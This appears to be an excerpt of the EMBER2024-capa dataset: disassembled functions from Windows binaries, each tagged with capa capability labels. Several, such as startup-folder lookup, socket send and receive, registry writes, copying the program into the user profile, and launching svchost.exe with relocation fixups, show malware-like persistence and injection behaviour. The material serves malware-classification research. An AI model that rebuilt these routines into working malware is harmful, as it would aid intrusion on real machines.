joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45b17c
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x200], ecx
mov dword [ebp - 0x204], ecx
mov esi, edx
xor eax, eax
push ebp
push 0x45b270
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1f8]
mov edx, 0x1f4
call fcn.00406fe4
push 0
call sub.kernel32.dll_SetLastError
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 7
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
mov ebx, eax
test ebx, ebx
jne 0x45b1fe
lea eax, [ebp - 0x1f8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov eax, esi
lea edx, [ebp - 0x1f8]
mov ecx, 0x1f4
call fcn.0040463c
jmp 0x45b252
push 0x45b288
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.004085a0
push dword [ebp - 0x200]
push 0x45b2cc
call sub.kernel32.dll_GetLastError
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x204]
call fcn.0040868c
push dword [ebp - 0x204]
lea eax, [ebp - 0x1fc]
mov edx, 4
call fcn.0040474c
mov eax, dword [ebp - 0x1fc]
xor edx, edx
call fcn.00458274
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45b277
lea eax, [ebp - 0x204]
mov edx, 3
call fcn.004043f0
ret
Function at 0x406170
Capabilities:
Hash data with md5

Disassembly:
mov edx, dword [0x44f6a0]
mov eax, 0x56e590f9
sub eax, edx
mov edx, dword [0x448d10]
sub eax, edx
or dword [0x43e7f8], eax
mov eax, 1
add dword [0x44f6a0], eax
mov dword [ecx], 0
movzx edx, word [0x4833ec]
or edx, 0x3ef321f2
mov word [0x4833ec], dx
mov dword [ecx + 4], 0
fld dword [0x49b354]
fmul dword [0x48e090]
fmul dword [0x49165c]
fstp dword [0x49165c]
mov dword [ecx + 8], 0x67452301
movzx edx, word [0x481226]
add edx, 0x37072b64
mov word [0x481226], dx
mov dword [ecx + 0xc], 0xefcdab89
add dword [0x4476d8], eax
add dword [0x449550], eax
mov eax, dword [0x449550]
add eax, dword [0x4476d8]
cmp eax, 0x221a7fdb
jge 0x40622b
mov eax, dword [0x449968]
movzx edx, word [0x47e24a]
not eax
add eax, 0x87c36e24
or edx, eax
mov word [0x47e24a], dx
mov dword [ecx + 0x10], 0x98badcfe
xor dword [0x43fd00], 0x90bdd995
mov dword [ecx + 0x14], 0x10325476
mov eax, dword [0x44f88c]
sar eax, 3
cmp eax, 0xec49b9bd
jle 0x40626e
mov eax, dword [0x44f47c]
movzx ecx, word [0x4834fa]
not eax
and eax, 0xb6ed3d76
add ecx, eax
mov word [0x4834fa], cx
ret
Function at 0x413280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
fld qword [0x472520]
push ebx
fsub dword [0x48896c]
push esi
mov esi, dword [ebp + 8]
push edi
fadd dword [0x496284]
push esi
fstp dword [0x496284]
mov eax, dword [0x44c018]
imul eax, eax, 0x4a361e73
mov dword [0x44c018], eax
xor dword [0x440938], 0x9825a2d5
call fcn.0040f1c0
mov edx, dword [0x44f8c0]
mov ecx, eax
mov eax, dword [0x44d620]
sub edx, eax
mov dword [0x44f8c0], edx
or edx, 0xffffffff
add dword [0x44d620], edx
add dword [0x441d1c], edx
mov edi, dword [0x446ad0]
mov eax, dword [0x450590]
sub eax, edi
mov edi, dword [0x441d1c]
mov ebx, 1
add dword [0x446ad0], ebx
sub edi, 0x13fcbbb8
add esp, 4
sub ecx, ebx
cmp eax, edi
jne 0x413321
mov eax, dword [0x445b34]
or eax, 0x5ba7d2e0
mov dword [0x44b548], eax
cmp byte [ecx + esi], 0x22
jne 0x4133f7
fld dword [0x4977e4]
fadd qword [0x463b50]
fstp qword [0x46b5c8]
mov byte [esi], 0x22
fld dword [0x48bd24]
fld dword [0x48ef7c]
fsub dword [0x498f94]
fsub qword [0x477eb8]
fsubp st(1)
fstp dword [0x48bd24]
mov byte [ecx + esi], 0
fld dword [0x48bcc8]
fmul dword [0x48ccc4]
fsub qword [0x453768]
fmul dword [0x49530c]
fstp dword [0x49530c]
mov ax, word [0x47d7ec]
movzx edi, word [0x482f8c]
cwde
xor eax, 0x723deec2
and edi, eax
mov word [0x482f8c], di
mov eax, dword [0x44b760]
imul eax, eax, 0x4ebc6952
sub ecx, ebx
mov dword [0x44b760], eax
cmp byte [ecx + esi], 0x22
jne 0x413382
add word [0x48301e], dx
mov dx, word [0x48301e]
movsx eax, dx
mov edx, dword [0x44344c]
imul edx, eax
lea eax, [ecx + esi + 1]
mov dword [0x44344c], edx
mov ecx, dword [0x44fb8c]
add ecx, ecx
add ecx, ecx
add ecx, ecx
or ecx, 0x25372801
sub dword [0x44b540], ecx
jmp 0x4134c0
movzx eax, word [0x480060]
or eax, 0xb55cd09c
mov word [0x480060], ax
mov byte [esi], 0x20
mov eax, dword [0x44a450]
or eax, 0x95566475
xor dword [0x44a428], eax
mov edx, 0xafeb44c1
mov edi, 0xff77edbf
jmp 0x413430
or dword [0x43f8f8], edx
fld qword [0x4599e0]
fmul qword [0x464588]
sub ecx, ebx
fld dword [0x496a5c]
fmul dword [0x4980e8]
fmul dword [0x4918f8]
fcompi st(1)
fstp st(0)
jb 0x413464
or dword [0x442eb8], edi
jmp 0x413476
movzx eax, word [0x483708]
and eax, 0xd549ba7f
mov word [0x483708], ax
cmp byte [ecx + esi], 0x20
jne 0x413430
fld dword [0x48e558]
lea eax, [ecx + esi + 1]
fsub dword [0x49b148]
fadd qword [0x4708e8]
fstp dword [0x497420]
mov ecx, dword [0x44835c]
movzx edx, word [0x483e6a]
and ecx, 0xcebbedff
or ecx, 0x4223e8fc
xor edx, ecx
mov word [0x483e6a], dx
add dword [0x44835c], ebx
add dword [0x4464d0], ebx
mov ecx, dword [0x4464d0]
cmp ecx, 0x11044ac1
jge 0x413519
mov edx, dword [0x44c088]
sar edx, 0xa
cmp edx, 0xe2ce6eba
jg 0x413512
add dword [0x44a40c], ebx
mov ecx, dword [0x44a40c]
movzx edx, word [0x48252c]
imul ecx, ecx, 0x381830e5
pop edi
and ecx, 0x424a39af
sub edx, ecx
pop esi
mov word [0x48252c], dx
pop ebx
pop ebp
ret
mov cx, word [0x47d280]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x414d80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x43e12c]
sub eax, 0x25a3de6f
mov dword [0x43fa00], eax
fld dword [0x48a164]
fadd qword [0x456280]
sub esp, 8
fld dword [0x4934bc]
fxch st(1)
fcompi st(1)
fstp st(0)
jbe 0x414deb
mov cx, word [0x485d98]
movsx edx, cx
xor edx, 0x7c82e557
cmp edx, 0xc5ce211f
jl 0x414deb
fld dword [0x48afbc]
fsub dword [0x48b0a8]
fstp dword [0x48aa54]
fld dword [0x48b0a8]
fadd qword [0x43ad48]
fstp dword [0x48b0a8]
push esi
push edi
push 0
call fcn.00414f00
add dword [0x43d840], 0x536d00eb
add esp, 4
cmp dword [0x47b848], 0
mov esi, eax
mov edi, edx
jne 0x414ec0
mov eax, dword [0x47b834]
test eax, eax
jne 0x414ec0
fld qword [0x463c60]
push eax
fmul qword [0x45db38]
fadd dword [0x48fc50]
fstp dword [0x491ce0]
call fcn.00414f00
add esp, 4
sub eax, esi
sbb edx, edi
test edx, edx
jg 0x414eae
jl 0x414e50
test eax, eax
jae 0x414eae
mov edi, edi
fld qword [0x46fe40]
push 0x3e8
fadd qword [0x475018]
fsub dword [0x496c64]
fadd dword [0x495668]
fstp dword [0x495668]
fld qword [0x46fe40]
fsub qword [0x43ad48]
fstp qword [0x46fe40]
call dword [0x45131c]
xor dword [0x43eddc], 0x9326833c
push 0
call fcn.00414f00
add esp, 4
sub eax, esi
sbb edx, edi
mov dword [ebp - 4], edx
js 0x414e50
jg 0x414eae
test eax, eax
jb 0x414e50
mov ecx, dword [0x44e88c]
imul ecx, ecx, 0xdf75d767
mov dword [0x44e88c], ecx
fld dword [0x48c174]
pop edi
fadd dword [0x4970fc]
pop esi
fadd dword [0x48c5a8]
fstp dword [0x48ab4c]
mov esp, ebp
pop ebp
ret
Function at 0xb001ab0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0xc], 0
je 0xb001ac2
cmp dword [ebp + 0x10], 0
jge 0xb001ac6
xor al, al
jmp 0xb001b26
mov dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jne 0xb001ad7
xor al, al
jmp 0xb001b26
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WS2_32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0xb001afa
xor al, al
jmp 0xb001b26
cmp dword [ebp - 8], 0
jne 0xb001b02
jmp 0xb001b16
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 8]
mov dword [ebp + 0x10], ecx
jmp 0xb001acd
cmp dword [ebp + 0x14], 0
je 0xb001b24
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 4]
mov dword [edx], eax
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0xb001b30
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0xc], 0
je 0xb001b42
cmp dword [ebp + 0x10], 0
jge 0xb001b46
xor al, al
jmp 0xb001b8c
mov dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
je 0xb001b8a
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WS2_32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0xb001b76
xor al, al
jmp 0xb001b8c
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 8]
mov dword [ebp + 0x10], ecx
jmp 0xb001b4d
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0xb001b90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [ebp + 8], 0
je 0xb001bbc
cmp dword [ebp + 0x10], 0
je 0xb001bbc
cmp dword [ebp + 0x14], 0
je 0xb001bbc
movzx eax, word [ebp + 0xc]
test eax, eax
je 0xb001bbc
cmp dword [ebp + 0x18], 0
je 0xb001bbc
cmp dword [ebp + 0x1c], 0
jne 0xb001bc3
xor eax, eax
jmp 0xb001cf2
mov ecx, 2
mov word [ebp - 0x1c], cx
movzx edx, word [ebp + 0xc]
push edx
call sub.WS2_32.dll_htons
mov word [ebp - 0x1a], ax
mov dword [ebp - 0x18], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x30
jl 0xb001c05
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x39
jg 0xb001c05
mov ecx, dword [ebp + 8]
push ecx
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x18], eax
jmp 0xb001c24
mov edx, dword [ebp + 8]
push edx
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0xb001c24
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0xb001c31
xor eax, eax
jmp 0xb001cf2
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0xb001c4c
xor eax, eax
jmp 0xb001cf2
mov dword [ebp - 0xc], 0x1388
push 4
lea ecx, [ebp - 0xc]
push ecx
push 0x1005
push 0xffff
mov edx, dword [ebp - 8]
push edx
call sub.WS2_32.dll_setsockopt
push 4
lea eax, [ebp - 0xc]
push eax
push 0x1006
push 0xffff
mov ecx, dword [ebp - 8]
push ecx
call sub.WS2_32.dll_setsockopt
mov dword [ebp - 4], 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.WS2_32.dll_connect
test eax, eax
jne 0xb001ce6
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.0b001b30
add esp, 0xc
movzx ecx, al
test ecx, ecx
je 0xb001ce6
mov dword [ebp - 0x24], 0
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0b001ab0
add esp, 0x10
movzx eax, al
test eax, eax
je 0xb001ce6
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
push edx
call sub.WS2_32.dll_closesocket
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0xb0020b0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0xb00536c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
sete cl
mov byte [ebp - 1], cl
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret
Function at 0xb0020f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0b001e00
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x58]
push ecx
call fcn.0b001e00
add esp, 0xc
mov dword [ebp - 0x58], 0x44
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0xb002150
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
jmp 0xb002152
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0xb002420
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x20
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
test eax, eax
jne 0xb002440
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
test edx, edx
jne 0xb002447
mov dword [ebp + 8], str.VendorId
push 0x10
push 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.0b001e00
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov byte [ecx], 0
lea edx, [ebp - 8]
push edx
push 0xb0041b4
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0xb0024be
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0x10
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0xb0024be
mov ecx, dword [ebp + 0x10]
mov byte [ecx], 1
mov al, 1
jmp 0xb00258a
push str.rpcrt4.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0xb0024fb
push str.UuidCreate
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0xb0024f1
mov eax, dword [ebp + 0xc]
push eax
call dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp + 0xc]
cmp dword [edx], 0
jne 0xb00254e
mov dword [ebp - 0x18], 0
jmp 0xb002515
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jae 0xb00254e
push 0xffffffffffffffff
call fcn.0b001fe0
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
je 0xb002540
mov edx, dword [ebp - 0x1c]
not edx
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x1c]
mov dword [ecx + eax*4], edx
jmp 0xb00250c
lea eax, [ebp - 8]
push eax
push str.softwaremicrosoftwindowscurrentversion
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0xb002588
push 0x10
mov ecx, dword [ebp + 0xc]
push ecx
push 3
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0xb002590
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
mov byte [ebp - 5], 0
mov dword [ebp - 4], 0x400
lea eax, [ebp - 0xc]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0xb002720
mov dword [ebp - 0x814], 0
lea ecx, [ebp - 0x814]
push ecx
push 0
push 0
push 1
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [ebp - 0x814], 0x400
jae 0xb002716
lea eax, [ebp - 0x410]
mov dword [ebp - 0x818], eax
lea ecx, [ebp - 0x814]
push ecx
mov edx, dword [ebp - 0x814]
push edx
mov eax, dword [ebp - 0x818]
push eax
push 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0xb002716
lea edx, [ebp - 0x810]
mov dword [ebp - 0x81c], edx
mov dword [ebp - 0x820], 0x44
lea eax, [ebp - 0x820]
push eax
mov ecx, dword [ebp - 0x81c]
push ecx
push 0
push 0xc
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
mov edx, dword [ebp - 0x818]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x81c]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0xb002674
mov al, 1
jmp 0xb002723
lea edx, [ebp - 0x820]
push edx
mov eax, dword [ebp - 0x81c]
push eax
push 0
push 0x16
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
mov ecx, dword [ebp - 0x818]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x81c]
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0xb0026aa
mov al, 1
jmp 0xb002723
lea ecx, [ebp - 0x820]
push ecx
mov edx, dword [ebp - 0x81c]
push edx
push 0
push 0x17
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
mov eax, dword [ebp - 0x818]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x81c]
push edx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0xb0026e0
mov al, 1
jmp 0xb002723
lea eax, [ebp - 0x820]
push eax
mov ecx, dword [ebp - 0x81c]
push ecx
push 0
push 0x18
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
mov edx, dword [ebp - 0x818]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x81c]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0xb002716
mov al, 1
jmp 0xb002723
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0xb002730
Capabilities:
Copy file
Create thread
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov dword [ebp - 8], 0x104
movzx eax, byte [0xb005369]
test eax, eax
je 0xb00275e
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.USERENV.dll_GetAllUsersProfileDirectoryA]
jmp 0xb002775
push 0x104
lea eax, [ebp - 0x110]
push eax
push str.USERPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x110]
push edx
push str._s_s.exe
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x218]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0xb0027d0
push 0
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x218]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0b001fa0
add esp, 8
push 0
push 0
push 0
push 0xb002010
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0xb002830
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax + 0x14]
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx + 6]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
jmp 0xb002898
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x14]
jae 0xb0028e5
push str..reloc
mov edx, dword [ebp - 4]
imul edx, edx, 0x28
add edx, dword [ebp - 0x10]
push edx
call fcn.0b001ef0
add esp, 8
movzx eax, al
test eax, eax
je 0xb0028e3
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx + 0x10]
mov dword [ebp - 0xc], eax
jmp 0xb0028e5
jmp 0xb00288f
cmp dword [ebp - 0x20], 0
je 0xb0028f1
cmp dword [ebp - 0xc], 0
jne 0xb0028f6
jmp 0xb0029eb
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 4], 0
jmp 0xb002911
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
cmp dword [ecx], 0
je 0xb0029e2
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp + 8]
add eax, dword [edx]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x20]
add eax, 8
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0
jmp 0xb002951
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x30]
jae 0xb0029b7
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
movsx edx, word [ecx + eax*2]
test edx, edx
je 0xb0029b7
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
movsx edx, word [ecx + eax*2]
and edx, 0xf000
sar edx, 0xc
mov word [ebp - 0x34], dx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
movsx edx, word [ecx + eax*2]
and edx, 0xfff
mov word [ebp - 0x38], dx
movsx eax, word [ebp - 0x34]
cmp eax, 3
jne 0xb0029b5
movsx ecx, word [ebp - 0x38]
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + ecx]
sub eax, dword [ebp - 0x1c]
add eax, dword [ebp + 0xc]
movsx ecx, word [ebp - 0x38]
mov edx, dword [ebp - 0x2c]
mov dword [edx + ecx], eax
jmp 0xb002948
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax + 4]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
and edx, 3
je 0xb0029dd
mov eax, dword [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
and ecx, 0xfffffffc
mov dword [ebp - 0x20], ecx
jmp 0xb002908
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 0xc]
mov dword [edx + 0x34], eax
mov esp, ebp
pop ebp
ret
Function at 0xb002ed0
Capabilities:
Get common file path
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov dword [ebp - 0x10c], 0
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0xb002f3d
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0xb004224
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 0xb004230
lea edx, [ebp - 0x108]
push edx
call fcn.0b001f50
add esp, 8
cmp dword [ebp + 0x18], 0
je 0xb002f3d
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0x18]
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.0b0029f0
add esp, 0x10
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0xb00309a
movzx ecx, byte [ebp + 0x10]
test ecx, ecx
je 0xb003052
push 0x104
lea edx, [ebp - 0x220]
push edx
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0x108]
push eax
push 0xffff
call fcn.0b001fe0
add esp, 4
push eax
push str.sdnm
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
jne 0xb002fc6
xor al, al
jmp 0xb0030a9
mov dword [ebp - 0x114], 0
push 0
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0xb003009
mov ecx, dword [ebp - 0x114]
cmp ecx, dword [ebp + 0xc]
jne 0xb003009
mov dword [ebp - 0x224], 1
jmp 0xb003013
mov dword [ebp - 0x224], 0
mov dl, byte [ebp - 0x224]
mov byte [ebp - 0x10d], dl
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx ecx, byte [ebp - 0x10d]
test ecx, ecx
jne 0xb00303b
xor al, al
jmp 0xb0030a9
lea edx, [ebp - 0x108]
push edx
call fcn.0b0020f0
add esp, 4
mov dword [ebp - 0x10c], eax
jmp 0xb00309a
push 0x104
lea eax, [ebp - 0x108]
push eax
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push str._system32_svchost.exe
lea ecx, [ebp - 0x108]
push ecx
call fcn.0b001f50
add esp, 8
push 0
push 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.0b0029f0
add esp, 0x10
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0xb0030a7
xor al, al
jmp 0xb0030a9
mov al, 1
mov esp, ebp
pop ebp
ret